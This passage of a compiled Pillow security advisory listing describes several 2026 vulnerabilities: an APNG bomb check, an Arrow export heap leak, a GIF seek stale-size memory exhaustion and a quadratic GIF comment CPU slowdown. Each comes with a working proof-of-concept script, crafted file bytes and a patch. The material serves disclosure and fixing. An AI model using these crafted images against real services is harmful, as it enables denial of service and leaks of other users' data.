open_in_child(data): p = subprocess.run([sys.executable, "-c", OPEN_UNTRUSTED], input=data, capture_output=True, timeout=60) if p.returncode == -9: # SIGKILL: OOM-killed on a small host -- also the bug return "oom-killed(rc=-9)", None if p.returncode != 0: # anything else is a harness failure, not evidence print(p.stdout.decode(), p.stderr.decode(), sep="\n") print("child failed unexpectedly (rc=%d)" % p.returncode) print("OK") sys.exit(1) outcome, peak_mb = p.stdout.split() return outcome.decode(), int(peak_mb) control = build_apng(dispose_op=0) attack = build_apng(dispose_op=1) c_outcome, c_mb = open_in_child(control) a_outcome, a_mb = open_in_child(attack) print("%d-byte APNG declaring %dx%d RGBA; Image.open(BytesIO(data)), defaults" % (len(attack), SIZE, SIZE)) print(" control dispose_op=0 OP_NONE -> %-22s peak RSS %5s MB" % (c_outcome, c_mb)) print(" attack dispose_op=1 OP_BACKGROUND -> %-22s peak RSS %5s MB" % (a_outcome, a_mb)) ##### Expected: both rejected at roughly interpreter size. Bug: the attack file ##### made the "cheap" rejection cost a full-size canvas (or killed the process). if a_mb is None or (a_mb >= 1000 and a_mb >= 20 * c_mb): print("Image.open() touched a full %dx%d canvas before the bomb check ran" % (SIZE, SIZE)) print("BUG") else: print("OK") ``` </details> --- #### Severity - CVSS Score: 8.7 / 10 (High) - Vector String: `CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N` #### References - [https://github.com/python-pillow/Pillow/security/advisories/GHSA-5xm2-6676-qcp9](https://github.com/python-pillow/Pillow/security/advisories/GHSA-5xm2-6676-qcp9) - [https://nvd.nist.gov/vuln/detail/CVE-2026-112399](https://nvd.nist.gov/vuln/detail/CVE-2026-112399) - [https://github.com/python-pillow/Pillow/commit/f1acfc54c53502948d0d14121872061df931db48](https://github.com/python-pillow/Pillow/commit/f1acfc54c53502948d0d14121872061df931db48) - [https://github.com/python-pillow/Pillow](https://github.com/python-pillow/Pillow) - [https://github.com/python-pillow/Pillow/releases/tag/13.0.0](https://github.com/python-pillow/Pillow/releases/tag/13.0.0) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-5xm2-6676-qcp9) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### Pillow: Arrow export leaks stale heap memory when PILLOW_ALIGNMENT > 1 BIT-pillow-2026-114501 / [CVE-2026-114501](https://nvd.nist.gov/vuln/detail/CVE-2026-114501) / [GHSA-654x-cwwv-5j9c](https://github.com/advisories/GHSA-654x-cwwv-5j9c) / PYSEC-2026-4336 <details> <summary>More information</summary> #### Details ##### Summary When [`PILLOW_ALIGNMENT`](https://pillow.readthedocs.io/en/stable/reference/block_allocator.html#memory-pools) is set above 1, exporting an image to Arrow returns uninitialized heap memory mixed in with the pixel data. That memory can include pixels from images the process freed earlier. ##### Details With an alignment above 1, the default allocator pads each row up to `aligned_linesize` and starts the first row at an aligned offset into the block. It then exports `im->blocks[0].ptr` as `xsize * ysize` tightly packed pixels, so exported data includes the padding bytes, and can include a few bytes from before the first row. Tested vulnerable on 11.2.1, 12.3.0, 4c1ed27a5. ##### PoC Whether things leak may depend on allocator configuration. This does show a leak on my Mac. ```python import os os.environ["PILLOW_ALIGNMENT"] = "64" from PIL import Image ##### Image A: 64 px wide, so its rows fill the whole aligned stride a = Image.new("L", (64, 40), 0x41).transpose(Image.Transpose.FLIP_LEFT_RIGHT) del a ##### Image B: 61 px wide, so each row has 3 bytes of padding; its pixels are all 0 b = Image.new("L", (61, 40), 0).transpose(Image.Transpose.FLIP_LEFT_RIGHT) try: exported = Image.fromarrow(b, b.mode, b.size).tobytes() except ValueError as e: print("Not vulnerable:", e) else: if leaked := len(exported) - exported.count(0): raise RuntimeError(f"{leaked} of {len(exported)} exported bytes are not B's pixels") ``` ##### Impact Information disclosure for applications that set `PILLOW_ALIGNMENT` and export images to Arrow. Likely any image whose row length isn't a multiple of the alignment will do. In a service handling several users' images, one user's exported data can contain pixels from another user's image, or other stale heap contents. #### Severity - CVSS Score: 6.3 / 10 (Medium) - Vector String: `CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N` #### References - [https://github.com/python-pillow/Pillow/security/advisories/GHSA-654x-cwwv-5j9c](https://github.com/python-pillow/Pillow/security/advisories/GHSA-654x-cwwv-5j9c) - [https://nvd.nist.gov/vuln/detail/CVE-2026-114501](https://nvd.nist.gov/vuln/detail/CVE-2026-114501) - [https://github.com/python-pillow/Pillow/pull/10172](https://github.com/python-pillow/Pillow/pull/10172) - [https://github.com/python-pillow/Pillow/commit/19f64946eb247b973dd4560be7dea3bf979d2e6a](https://github.com/python-pillow/Pillow/commit/19f64946eb247b973dd4560be7dea3bf979d2e6a) - [https://github.com/python-pillow/Pillow](https://github.com/python-pillow/Pillow) - [https://github.com/python-pillow/Pillow/releases/tag/13.0.0](https://github.com/python-pillow/Pillow/releases/tag/13.0.0) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-654x-cwwv-5j9c) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### Pillow: GIF seek keeps rejected size after DecompressionBombError, allowing DoS BIT-pillow-2026-112400 / [CVE-2026-112400](https://nvd.nist.gov/vuln/detail/CVE-2026-112400) / [GHSA-65qm-jvmh-6pqg](https://github.com/advisories/GHSA-65qm-jvmh-6pqg) <details> <summary>More information</summary> #### Details ``` ============================================================================ GIF seek keeps rejected size after DecompressionBombError, allowing DoS Location: src/PIL/GifImagePlugin.py:293 in GifImageFile._seek() Commit: a707c6b21c313880d0771e54965d142dd42358b6 ============================================================================ ``` A GIF of about 60 bytes can make Pillow allocate gigabytes of memory. This affects applications that catch the "image too large" error raised while stepping to a later animation frame and then keep using the same image object. Pillow correctly refuses the oversized frame, but it stores the refused dimensions on the image object anyway, and later operations size their memory from them. An attacker who can upload a GIF to such a service can exhaust its memory: the process either fails with an out-of-memory error after committing gigabytes, or is killed by the operating system. There is no memory corruption. The bug is in `GifImageFile._seek()` (`src/PIL/GifImagePlugin.py:292-294`). When a frame's extent enlarges the image, the code assigns the new size to `self._size` and only then calls `Image._decompression_bomb_check()`. Nothing restores the old size when `DecompressionBombError` is raised, because `seek()` only rolls back on `EOFError`. After the caught error, `im.size` reports the rejected size while the pixel buffer `im.im` is still the 1×1 first frame. Because the extent is a 16-bit offset plus a 16-bit size, that rejected size can be as large as 131070×131070. In the attached reproducer, the rejected size is 40000×40000. A retried `seek(1)` followed by `load()` then reaches `load_prepare()`, which calls `Image.core.fill()` with that size to decode a single pixel. Peak memory rises from 17 MiB to 1700 MiB before a 3 GiB address-space cap stops the next allocation. `Image.new("RGB", im.size, ...)` and `rotate(..., expand=True)` also allocate from the stale size. The default paths are unaffected: plain `Image.open()` plus `load()`, `ImageSequence.Iterator`, and `n_frames`/`is_animated`. The ordering was introduced in c9f1b35e9810 ("Added GIF decompression bomb check", 2022-06-30, first released in 9.2.0), the check added for CVE-2022-45198. The two dispose-extent checks later in the same function already validate before using the size, and the attached patch makes this check follow the same order. ##### Details `GifImageFile._seek()` lets a later frame enlarge the image, and performs the decompression-bomb check for the new size only *after* storing it on the object: ```python ##### src/PIL/GifImagePlugin.py:289-294 (GifImageFile._seek) x0, y0 = i16(s, 0), i16(s, 2) x1, y1 = x0 + i16(s, 4), y0 + i16(s, 6) if (x1 > self.size[0] or y1 > self.size[1]) and update_image: self._size = max(x1, self.size[0]), max(y1, self.size[1]) # state mutated Image._decompression_bomb_check(self._size) # ...then validated ``` `_decompression_bomb_check()` (`src/PIL/Image.py:3586`) raises `DecompressionBombError` for anything above `2 * MAX_IMAGE_PIXELS` (178 956 970 px by default), but by then `self._size` already holds the rejected value and nothing restores it: `seek()` (`GifImagePlugin.py:166-179`) only rolls back on `EOFError`, and `_seek(0)` only ever grows `_size`. The object that the application still holds therefore reports `im.size == (40000, 40000)` while `im.im` is the 1×1 buffer of frame 0. Compare the two dispose-extent checks a few lines further down in the same function (`GifImagePlugin.py:383` and `:407`), which call `_decompression_bomb_check(dispose_size)` *before* the corresponding `Image.core.fill()`, and `TiffImagePlugin.load_prepare()` (`src/PIL/TiffImagePlugin.py:1319-1321`), which checks `_tile_size` before allocating from it. With this 60-byte GIF (hex) ``` 47494638396101000100800000000000ffffff GIF89a, 1x1 screen, 2-entry global palette 2c000000000100010000 02 024401 00 frame 0: 1x1 @ (0,0), LZW data 2c00000000409c409c00 frame 1 descriptor: 40000x40000 @ (0,0) 2c000000000100010000 02 024401 00 another 1x1 frame 3b trailer ``` `Image.open()` succeeds (`im.size == (1, 1)`), `im.seek(1)` raises `DecompressionBombError: Image size (1600000000 pixels) exceeds limit of 178956970 pixels`, and afterwards `im.size == (40000, 40000)`, `im.im.size == (1, 1)`, `im.tell() == 0`. What happens next depends on what the application does with the object, but several ordinary operations take their dimensions from `im.size` rather than from the C buffer: - Retrying `im.seek(1)`. The failed `_seek` left `self.__offset == 0` and the file pointer just past the 9-byte descriptor, so the retry parses whatever follows — in the file above, a valid 1×1 frame — and succeeds. `im.load()` then runs `GifImageFile.load_prepare()`: ```python # src/PIL/GifImagePlugin.py:452-456 elif self.mode in ("RGB", "RGBA"): self._prev_im = self.im if self._frame_palette: self.im = Image.core.fill("P", self.size, self._frame_transparency or 0) ``` which allocates and `memset`s a 40000×40000 "P" image (1.6 GB) to decode a 1×1 tile into, and `load_end()` (`GifImagePlugin.py:485-491`) fills a second one and converts it to RGB (another 1.6 GB + 6.4 GB). - `im.rotate(angle, expand=True)` for a non-multiple-of-90 angle, or the common flatten-onto-background idiom `Image.new("RGB", im.size, bg)`, allocate from `im.size` as well (measured on an object poisoned to 20000×20000: `rotate(45, expand=True)` completes and touches 776 MiB; `Image.new("RGB", im.size, "white")` touches 1.5 GiB). Operations that pass `im.size` as a box against the real buffer (`thumbnail`, `resize`, `save`) fail with `ValueError`/`SystemError` instead. The extent fields are 16-bit offset plus 16-bit size, so the stored size can be pushed to 131070×131070 (17.2 Gpx; 17 GB for mode "P", 69 GB for "RGB"/"RGBA" storage), 96× the error threshold. `n_frames` / `is_animated` are not affected: they call `_seek(frame, update_image=False)`, which skips the `_size` assignment (the file above reports `n_frames == 2`, `is_animated == True` and leaves `im.size` at 1×1). ##### Impact A remote user who can upload a GIF to a service that (a) seeks animation frames and (b) catches the exception from `seek()` — a broad `except Exception` around a `while True: im.seek(im.tell()+1)` frame-collection loop, or an explicit `except DecompressionBombError: log and continue` — and then keeps using the same `Image` object, ends up driving allocations of 1.6 GB to tens of GB from a 60-byte file: `MemoryError` after the process has committed gigabytes, or an OOM kill of the worker when no address-space limit is set. The `MAX_IMAGE_PIXELS` guard fires, but does not actually keep the rejected dimensions out of the object it is guarding. The precondition is real application behaviour but not the default path: `Image.open(); im.load()` is unaffected, and `ImageSequence.Iterator` propagates the error out of the `for` statement (a `try` inside the loop body does not swallow it). Hence low severity. This is adjacent to the GIF extent bomb check added for CVE-2022-45198: the ordering was introduced with that check in `c9f1b35e9810` ("Added GIF decompression bomb check", 2022-06-30), first released in Pillow 9.2.0. Before it, the same size growth happened with no check at all; the check introduced there is the one that runs too late. ##### Reproducing `repro` is a single Python script run against the installed Pillow. It needs about 1.7 GB of free RAM. 1. **`setup_env()`** caps the process address space at 3 GiB with `RLIMIT_AS`, so the oversized allocations end in `MemoryError` instead of the OOM killer. It then opens the 60-byte GIF shown above, built in memory by `bomb_gif()`. The GIF contains a 1×1 screen and a 1×1 frame 0, so `Image.open()` passes its own bomb check. Next comes a bare frame-1 image descriptor that declares 40000×40000 (1.6 Gpx, about 9× the error threshold). A real 1×1 frame follows it. 2. **`poc()`** calls `im.seek(1)` and catches `DecompressionBombError`, the way an application that skips bad frames would. 3. **First check: the state is inconsistent.** The script prints `im.size` next to the real pixel buffer `im.im.size`. If the rejected frame had left the object unchanged, both would be `(1, 1)`. On the affected code `im.size` is `(40000, 40000)`. 4. **Second check: memory use.** The script retries `im.seek(1)`, which now parses the trailing 1×1 frame, and calls `im.load()`. It prints the process's peak RSS before and after. `load_prepare()` sizes its `Image.core.fill()` from `im.size`, so loading a single pixel fills a 1.6 GB buffer before the 3 GiB cap stops the next allocation. Expected output on the affected tree: ``` open(): 60-byte GIF, size=(1, 1) seek(1) raised as intended: Image size (1600000000 pixels) exceeds limit of 178956970 pixels, could be decompression bomb DOS attack. after the caught error: im.size=(40000, 40000), pixel buffer im.im.size=(1, 1) seek(1) + load() of a 1x1 frame: MemoryError at the 3 GiB cap; peak RSS 18 MiB -> 1700 MiB BUG ``` The script prints `BUG` only if both checks hold: the over-limit size stayed on the object after the exception, and peak RSS grew by more than 1000 MiB while loading a 1×1 frame. Otherwise it prints `OK`. With the attached patch applied, it prints `im.size=(1, 1)`, peak RSS stays at about 23 MiB, and the last line is `OK`. ##### Suggested fix The attached patch validates before mutating in `GifImageFile._seek()` (`src/PIL/GifImagePlugin.py:292-294`): the enlarged extent is computed into a local, passed to `_decompression_bomb_check()`, and only then assigned to `self._size`, matching the order of the two `dispose_size` checks further down the same function. A rejected frame therefore leaves the object in its pre-seek state; valid files behave as before, and the exception is still raised at the same point: ```diff --- a/src/PIL/GifImagePlugin.py +++ b/src/PIL/GifImagePlugin.py @@ -290,8 +290,9 @@ class GifImageFile(ImageFile.ImageFile): x0, y0 = i16(s, 0), i16(s, 2) x1, y1 = x0 + i16(s, 4), y0 + i16(s, 6) if (x1 > self.size[0] or y1 > self.size[1]) and update_image: - self._size = max(x1, self.size[0]), max(y1, self.size[1]) - Image._decompression_bomb_check(self._size) + size = max(x1, self.size[0]), max(y1, self.size[1]) + Image._decompression_bomb_check(size) + self._size = size frame_dispose_extent = x0, y0, x1, y1 flags = s[8] ``` `n_frames` / `is_animated` go through `update_image=False` and are unaffected. The patch also extends `test_exception_gif_extents` in `Tests/test_decompression_bomb.py` to assert that `im.size` is unchanged after the `DecompressionBombError`. It does not change `seek()` itself; optionally, `seek()` could also treat `DecompressionBombError` like `EOFError` and re-seek to `last_frame`, so that a retried `seek()` does not resume parsing from the middle of the rejected frame. ##### The patch GIF: run the decompression bomb check on an enlarging frame's extent before storing it in self._size Applies to `src/PIL/GifImagePlugin.py` at the commit above. ```diff diff --git a/Tests/test_decompression_bomb.py b/Tests/test_decompression_bomb.py index 98d833736..83cc785fc 100644 --- a/Tests/test_decompression_bomb.py +++ b/Tests/test_decompression_bomb.py @@ -63,6 +63,9 @@ class TestDecompressionBomb: with pytest.raises(Image.DecompressionBombError): im.seek(1) + # The rejected frame should not have changed the image size + assert im.size == (100, 100) + def test_exception_gif_zero_width(self, monkeypatch: pytest.MonkeyPatch) -> None: # Set limit to trigger exception on the test file monkeypatch.setattr(Image, "MAX_IMAGE_PIXELS", 4 * 64 * 128) diff --git a/src/PIL/GifImagePlugin.py b/src/PIL/GifImagePlugin.py index 11fb180fc..f9bda06c2 100644 --- a/src/PIL/GifImagePlugin.py +++ b/src/PIL/GifImagePlugin.py @@ -290,8 +290,9 @@ class GifImageFile(ImageFile.ImageFile): x0, y0 = i16(s, 0), i16(s, 2) x1, y1 = x0 + i16(s, 4), y0 + i16(s, 6) if (x1 > self.size[0] or y1 > self.size[1]) and update_image: - self._size = max(x1, self.size[0]), max(y1, self.size[1]) - Image._decompression_bomb_check(self._size) + size = max(x1, self.size[0]), max(y1, self.size[1]) + Image._decompression_bomb_check(size) + self._size = size frame_dispose_extent = x0, y0, x1, y1 flags = s[8] ``` ##### The reproducer <details> <summary>Reproducer — <code>repro</code>, 2,474 bytes (click to open)</summary> Its last line is `BUG` when the issue triggers and `OK` when it does not. Re-run on a clean build of that commit it printed `BUG`. ```python #!/usr/bin/env python3 ##### GifImageFile._seek() stores a frame's enlarged size in self._size and only ##### *then* runs the decompression-bomb check. The check raises, but the object ##### keeps the rejected 40000x40000 size over its real 1x1 pixel buffer, and the ##### next load() allocates from that size: 1.6+ GB for a 60-byte GIF. import io import resource import struct from PIL import Image BOMB = 40000 # 40000x40000 = 1.6 Gpx, ~9x the DecompressionBombError threshold LIMIT = 2 * Image.MAX_IMAGE_PIXELS def frame_1x1(): # image descriptor at (0,0) 1x1, then a 1-pixel LZW stream return b"," + struct.pack("<HHHHB", 0, 0, 1, 1, 0) + b"\x02\x02\x44\x01\x00" def bomb_gif(): return ( b"GIF89a" + struct.pack("<HHBBB", 1, 1, 0x80, 0, 0) + b"\x00" * 3 + b"\xff" * 3 + frame_1x1() # frame 0: 1x1, passes open() + b"," + struct.pack("<HHHHB", 0, 0, BOMB, BOMB, 0) # frame 1 claims 40000x40000 + frame_1x1() # a real 1x1 frame follows + b";" ) def peak_rss_mib(): return resource.getrusage(resource.RUSAGE_SELF).ru_maxrss // 1024 def setup_env(): # Cap the address space so the oversized allocations end in MemoryError # instead of the OOM killer. resource.setrlimit(resource.RLIMIT_AS, (3 << 30, 3 << 30)) data = bomb_gif() im = Image.open(io.BytesIO(data)) print(f"open(): {len(data)}-byte GIF, size={im.size}") return im def poc(im): # An application skips the bomb frame and keeps going. try: im.seek(1) except Image.DecompressionBombError as e: print(f"seek(1) raised as intended: {e}") return True return False im = setup_env() raised = poc(im) ##### Expected: a rejected frame leaves the object as it was (size == buffer == 1x1). print(f"after the caught error: im.size={im.size}, pixel buffer im.im.size={im.im.size}") poisoned = raised and im.size[0] * im.size[1] > LIMIT and im.im.size == (1, 1) ##### Effect: retrying the seek lands on the real 1x1 frame, but load() sizes its ##### buffers from the poisoned im.size. before = peak_rss_mib() im.seek(1) try: im.load() outcome = "completed" except MemoryError: outcome = "MemoryError at the 3 GiB cap" after = peak_rss_mib() print(f"seek(1) + load() of a 1x1 frame: {outcome}; peak RSS {before} MiB -> {after} MiB") ballooned = after - before > 1000 print("BUG" if poisoned and ballooned else "OK") ``` </details> --- #### Severity - CVSS Score: 8.7 / 10 (High) - Vector String: `CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N` #### References - [https://github.com/python-pillow/Pillow/security/advisories/GHSA-65qm-jvmh-6pqg](https://github.com/python-pillow/Pillow/security/advisories/GHSA-65qm-jvmh-6pqg) - [https://nvd.nist.gov/vuln/detail/CVE-2026-112400](https://nvd.nist.gov/vuln/detail/CVE-2026-112400) - [https://github.com/python-pillow/Pillow/commit/6faed707cfb760a4cbd726ddc8406f576cf35bf7](https://github.com/python-pillow/Pillow/commit/6faed707cfb760a4cbd726ddc8406f576cf35bf7) - [https://github.com/python-pillow/Pillow](https://github.com/python-pillow/Pillow) - [https://github.com/python-pillow/Pillow/releases/tag/13.0.0](https://github.com/python-pillow/Pillow/releases/tag/13.0.0) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-65qm-jvmh-6pqg) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### Pillow: Quadratic GIF comment concatenation allows DoS in Image.open() BIT-pillow-2026-112401 / [CVE-2026-112401](https://nvd.nist.gov/vuln/detail/CVE-2026-112401) / [GHSA-74r2-7ff9-mjj2](https://github.com/advisories/GHSA-74r2-7ff9-mjj2) <details> <summary>More information</summary> #### Details ``` ============================================================================ Quadratic GIF comment concatenation allows DoS in Image.open() Location: src/PIL/GifImagePlugin.py:266 in GifImageFile._seek() Commit: a707c6b21c313880d0771e54965d142dd42358b6 ============================================================================ ``` Opening a crafted GIF file with `Image.open()` takes time that grows with the square of the file's size, so anyone who can submit an image to a service that uses Pillow can keep one worker busy at full processor load for a long time with a small file. A 2 MB file takes about 5 seconds to open, a 4 MB file about 35 seconds, and an 8 MB file about 3 minutes. An ordinary GIF of the same size opens in well under a second. The cost is paid inside `Image.open()` itself, with default settings, before the application has seen the image's size or format. The bug is in `GifImageFile._seek()` in `src/PIL/GifImagePlugin.py`, which builds `info["comment"]` by appending to an immutable `bytes` object with no size limit. It appends once per 255-byte sub-block (`comment += block`, line 261) and once per comment extension (`info["comment"] += b"\n" + comment`, line 266). Each append copies everything collected so far. A file made of many tiny comment extensions forces a full re-copy for each one. Because `_open()` ends with `self._seek(0)`, any code that only opens an uploaded file to identify it, read its dimensions, or make a thumbnail pays the full cost. The decompression-bomb check does not help, since the image is 1×1. Memory use stays linear, so the effect is processor exhaustion and latency, bounded by whatever upload size the service allows (about 1 second at 1 MB). This is the same kind of issue as the EPS open-phase slowdown fixed as CVE-2021-28677, here in the GIF comment handling. The quadratic pattern was introduced in commit b2b737b68b06 ("Allow arbitrary number of comment extension subblocks", November 2018) and has shipped since Pillow 5.4.0. The attached script builds 2 MB and 4 MB test files and compares each against a byte-identical control whose extensions are labelled as plain text instead of comment. The 4 MB comment file took about 34 seconds to open, against 0.26 seconds for its control. A patch that collects the pieces in a list and joins them once is also attached. ##### Details `GifImageFile._seek()` collects GIF comment extensions into `info["comment"]` using `bytes` concatenation, once per 255-byte sub-block and once per comment extension, with no limit on the total. `bytes` is immutable, so every `+=` allocates a new object and copies everything accumulated so far; the work done by `Image.open()` is therefore quadratic in the amount of comment data in frame 0. A 1×1 GIF89a whose body is nothing but the 5-byte comment extension `21 FE 01 41 00` repeated makes this directly observable. `Image.open(BytesIO(data))` on such a file, stock build at this commit, 2-CPU machine: | file size | comment extensions (`21 FE …`) | same bytes labelled plain-text extension (`21 01 …`) | |---|---|---| | 1 MB | 1.2 s | 0.09 s | | 2 MB | 4.9 s | 0.13 s | | 4 MB | 35 s | 0.26 s | | 8 MB | 183 s | — | The control column is the identical byte stream with the extension label changed from `0xFE` to `0x01`; it goes through the same loop and the same `self.data()` reads but is discarded instead of concatenated, and scales linearly. No `load()` is needed and no warning or exception is raised; `im.info["comment"]` simply ends up holding the multi-megabyte blob. The code, `src/PIL/GifImagePlugin.py:229-281` (trimmed): ```python elif s == b"!": s = self.fp.read(1) block = self.data() … elif s[0] == 254: # # comment extension # comment = b"" # Read this comment block while block: comment += block # :261 one copy per sub-block block = self.data() if "comment" in info: # If multiple comment blocks in frame, separate with \n info["comment"] += b"\n" + comment # :266 one copy per extension else: info["comment"] = comment s = b"" continue … while self.data(): # every other extension: read and drop pass ``` `self.data()` (`:97-102`) reads one length byte and then that many bytes, so each call is cheap and bounded; the cost is entirely in the two `+=` lines. For a single comment extension of N bytes delivered as N/255 sub-blocks, line 261 copies about N²/510 bytes in total (4 MB → 2.3 s, 8 MB → 9.5 s, 16 MB → 38 s measured). Splitting the same data into many small comment extensions is worse, because line 266 re-copies the whole of `info["comment"]` once per extension: with 1-byte extensions a file of F bytes causes roughly F²/25 bytes of copying, which is the table above (growth ×4–7 per doubling once the buffer outgrows the CPU caches). This runs during `Image.open()`: `_open()` ends with `self._seek(0)` (`:135`), so any application that merely opens an uploaded file to identify it, read its size, or thumbnail it pays the full cost before it has made any decision about the image. `Image._decompression_bomb_check` is not involved (the image is 1×1), and unlike PNG text chunks (`PngImagePlugin.MAX_TEXT_CHUNK` / `MAX_TEXT_MEMORY`) there is no cap on GIF comment size. Later frames repeat the same loop for their own comments via `seek()` / `n_frames`. With both `+=` sites replaced by list-append and a single `b"".join()` (as in the attached patch), the same 16 MB single-extension file opens in 0.03 s, confirming the concatenation is the whole cost. ##### Impact Anyone who can get a GIF to a service that calls `PIL.Image.open()` on it — avatar/media uploads, thumbnailers, format sniffing, anything using `ImageOps`/`thumbnail()` on user files — can pin one worker process at 100 % CPU for about 5 s with a 2 MB file, 35 s with a 4 MB file and 3 minutes with an 8 MB file, under default settings, with the time growing quadratically in the permitted upload size. A benign GIF of the same size opens in well under a second, so request-cost assumptions based on file size do not hold. Memory use is only linear (the comment is retained in `im.info["comment"]`), so the effect is CPU/latency denial of service of the worker pool rather than memory exhaustion; a handful of concurrent uploads is enough to saturate a typical pool. Upload size limits bound it (≈1 s at 1 MB). This is the same shape as CVE-2021-28677 ("EPS DOS on _open", `docs/releasenotes/8.2.0.rst`), where a quadratic method of accumulating data in the open phase, before the image was accepted, was treated as a denial-of-service vulnerability; here the format is GIF and the accumulator is the comment extension. The quadratic accumulation was introduced in `b2b737b68b06` ("Allow arbitrary number of comment extension subblocks", 2018-11-27), first released in Pillow 5.4.0. ##### Reproducing `repro` is a single Python script that uses the installed Pillow. Run it with no arguments. It needs no files, no network and no rebuild. It builds two GIFs of the same length, at 2 MB and at 4 MB. Each is the 13-byte GIF89a header for a 1×1 screen, followed by `size/5` copies of the 5-byte extension `21 <label> 01 41 00`, then a minimal 1×1 image and the trailer: - **comments**: label `0xFE`. Each extension is a 1-byte comment, so `_seek()` appends each one to `info["comment"]` with `+=` (`GifImagePlugin.py:266`). - **control**: label `0x01` (plain-text extension). The bytes are the same apart from the label. `_seek()` reads them through the same loop and the same `self.data()` calls, then throws them away. The script times `Image.open(io.BytesIO(data))` on each file. It does not call `load()`, because `_open()` already parses frame 0. It checks that the image came out as 1×1. Typical output on a 2-CPU machine: ``` 2 MB GIF control (0x01): 0.16 s comments (0xFE): 5.14 s 4 MB GIF control (0x01): 0.26 s comments (0xFE): 33.53 s doubling 2 MB -> 4 MB multiplied open() time by x6.5 (linear: ~x2) 4 MB comment GIF took x129 as long as the same-size control BUG ``` For a linear parser, doubling the file would roughly double the time, and the two files would take about the same time. The script prints `BUG` when all three of these hold: - doubling the comment file from 2 MB to 4 MB multiplies its open time by at least 3×; - the 4 MB comment file takes at least 20× as long as its control; - the 4 MB comment file takes at least 8 s. Otherwise it prints `OK`. The run is deterministic, CPU-bound on one core, and takes about 40 s. ##### Suggested fix The attached patch changes `GifImageFile._seek()` in `src/PIL/GifImagePlugin.py` to accumulate comment data in a local list instead of with `bytes` concatenation, and to join it once when the frame's info is committed: ```diff @@ def _seek(self, frame: int, update_image: bool = True) -> None: info: dict[str, Any] = {} + comment_blocks: list[bytes] | None = None frame_transparency = None @@ elif s[0] == 254: # # comment extension # - comment = b"" + if comment_blocks is None: + comment_blocks = [] + else: + # If multiple comment blocks in frame, separate with \n + comment_blocks.append(b"\n") # Read this comment block while block: - comment += block + comment_blocks.append(block) block = self.data() - - if "comment" in info: - # If multiple comment blocks in frame, separate with \n - info["comment"] += b"\n" + comment - else: - info["comment"] = comment s = b"" continue @@ - if info.get("comment"): - self.info["comment"] = info["comment"] + if comment_blocks: + comment = b"".join(comment_blocks) + if comment: + self.info["comment"] = comment for k in ["duration", "extension"]: ``` This removes the quadratic copying at both sites (`:261` per sub-block and `:266` per extension); the 4 MB reproducer file opens in about 0.3 s, the same as its control, and the reproducer no longer prints `BUG` on a patched build. The resulting `info["comment"]` is unchanged for empty, multi-sub-block, multi-extension and later-frame comments — including `Tests/images/multiple_comments.gif` → `b"Test comment 1\nTest comment 2"` — and `Tests/test_file_gif.py` passes unchanged. The GIF writer (`_write_local_header` / `_save`) is not affected. The patch deliberately adds no size cap. Unlike PNG `zTXt`, which `PngImagePlugin.MAX_TEXT_CHUNK` guards against decompression amplification, a GIF comment can be no larger than the file that carries it, so once the copy is linear there is nothing left to bound, and a hard cap would reject valid files with large comments. If a limit is wanted anyway, a `MAX_COMMENT_SIZE` check inside the sub-block loop is a small policy addition on top of this patch. ##### The patch GIF: collect comment extension sub-blocks in a list and join once per frame instead of repeated bytes += in GifImageFile._seek() Applies to `src/PIL/GifImagePlugin.py` at the commit above. ```diff diff --git a/src/PIL/GifImagePlugin.py b/src/PIL/GifImagePlugin.py index 11fb180fc..05007d2ac 100644 --- a/src/PIL/GifImagePlugin.py +++ b/src/PIL/GifImagePlugin.py @@ -217,6 +217,7 @@ class GifImageFile(ImageFile.ImageFile): palette: ImagePalette.ImagePalette | Literal[False] | None = None info: dict[str, Any] = {} + comment_blocks: list[bytes] | None = None frame_transparency = None interlace = None frame_dispose_extent = None @@ -254,18 +255,16 @@ class GifImageFile(ImageFile.ImageFile): # # comment extension # - comment = b"" + if comment_blocks is None: + comment_blocks = [] + else: + # If multiple comment blocks in frame, separate with \n + comment_blocks.append(b"\n") # Read this comment block while block: - comment += block + comment_blocks.append(block) block = self.data() - - if "comment" in info: - # If multiple comment blocks in frame, separate with \n - info["comment"] += b"\n" + comment - else: - info["comment"] = comment s = b"" continue elif s[0] == 255 and frame == 0 and block is not None: @@ -433,8 +432,10 @@ class GifImageFile(ImageFile.ImageFile): ) ] - if info.get("comment"): - self.info["comment"] = info["comment"] + if comment_blocks: + comment = b"".join(comment_blocks) + if comment: + self.info["comment"] = comment for k in ["duration", "extension"]: if k in info: self.info[k] = info[k] ``` ##### The reproducer <details> <summary>Reproducer — <code>repro</code>, 2,263 bytes (click to open)</summary> Its last line is `BUG` when the issue triggers and `OK` when it does not. Re-run on a clean build of that commit it printed `BUG`. ```python #!/usr/bin/env python3 """Quadratic CPU in Image.open() on GIF comment extensions. GifImageFile._seek() appends every comment extension to info["comment"] with bytes `+=` (src/PIL/GifImagePlugin.py:266), copying the whole accumulated comment each time. Image.open() runs _seek(0) eagerly, so merely opening a GIF made of many tiny comment extensions costs O(size^2) CPU. We time Image.open() on two files of identical length: ATTACK - a 1x1 GIF whose body is thousands of 1-byte comment extensions (label 0xFE) CONTROL - the same bytes with label 0x01 (plain-text extension), which _seek() reads through the same loop but discards instead of concatenating. A linear parser would take ~2x longer when the file doubles, and the two files would cost about the same. """ import io import time from PIL import Image HEADER = b"GIF89a" + b"\x01\x00\x01\x00" + b"\x00\x00\x00" # 1x1 screen, no palette IMAGE = b",\x00\x00\x00\x00\x01\x00\x01\x00\x00" + b"\x02\x02\x44\x01\x00" # 1x1 frame TRAILER = b";" def make_gif(size: int, label: int) -> bytes: # each extension is `21 <label> 01 'A' 00`: one 1-byte sub-block, then terminator extension = b"!" + bytes([label]) + b"\x01A\x00" return 